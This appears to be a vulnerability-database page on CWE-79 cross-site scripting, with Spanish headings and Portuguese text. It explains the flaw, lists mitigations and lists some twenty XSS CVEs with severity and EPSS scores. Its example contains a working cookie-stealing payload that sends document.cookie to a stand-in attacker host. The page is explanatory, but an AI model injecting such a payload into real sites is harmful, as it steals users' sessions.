Fallos del tipo CWE-79

30.284 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-3895MEDIUMPotential XSS in common user interface component libraryEPSS 0.3%CVE-2026-47324MEDIUMStored XSS in Multiple Points in ProjectsAndPrograms school-management-systemEPSS 0.3%CVE-2025-11804MEDIUMJB News Ticker <= 1.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-23033MEDIUMCross-Site Scripting (XSS) Stored endpoint 'adicionar_situacao.php' parameter 'situacao' in WeGIAEPSS 0.3%CVE-2025-62183MEDIUMPega Platform versions 8.1.0 through 25.1.1 are affected by a Stored Cross-site Scripting vulnerability in a user interface component. Requires an administrative user and given extensive access rights, impact to Confidentiality and Integrity are low.EPSS 0.3%CVE-2025-0448MEDIUMInappropriate implementation in Compositing in Google Chrome prior to 132.0.6834.83 allowed a remote attacker to perform UI spoofing via a cEPSS 0.3%CVE-2025-22758MEDIUMWordPress Elementor AI Addons plugin <= 2.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-6427MEDIUMa3 Lazy Load <= 2.7.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Video ElementEPSS 0.3%CVE-2024-3492MEDIUMEvents Manager – Calendar, Bookings, Tickets, and more! <= 6.4.7.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via event, location, and event_category ShortcodesEPSS 0.3%CVE-2024-45385LOWA vulnerability has been identified in Industrial Edge Management OS (IEM-OS) (All versions). Affected components are vulnerable to reflecteEPSS 0.3%CVE-2025-22614MEDIUMWeGIA Cross-Site Scripting (XSS) Stored endpoint 'dependente_editarInfoPessoal.php ' parameters 'nome' 'SobrenomeForm'EPSS 0.3%CVE-2025-13676MEDIUMJustClick registration plugin <= 0.1 - Reflected Cross-Site Scripting via PHP_SELFEPSS 0.3%CVE-2025-22616MEDIUMWeGIA Cross-Site Scripting (XSS) Stored endpoint 'dependente_parentesco_adicionar.php' parameter 'descricao'EPSS 0.3%CVE-2024-39124MEDIUMIn Roundup before 2.4.0, classhelpers (_generic.help.html) allow XSS.EPSS 0.3%CVE-2025-13892MEDIUMMG AdvancedOptions <= 1.2 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-10140MEDIUMQuick Social Login <= 1.4.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-3100MEDIUMWP Project Manager – Task, team, and project management plugin featuring kanban board and gantt charts <= 2.6.22 - Authenticated (Subscriber+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2025-23035MEDIUMCross-Site Scripting (XSS) Stored endpoint 'adicionar_tipo_quadro_horario.php' parameter 'tipo' in WeGIAEPSS 0.3%CVE-2025-11995HIGHCommunity Events <= 1.5.2 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-11733HIGHFootnotes Made Easy <= 3.0.7 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.3%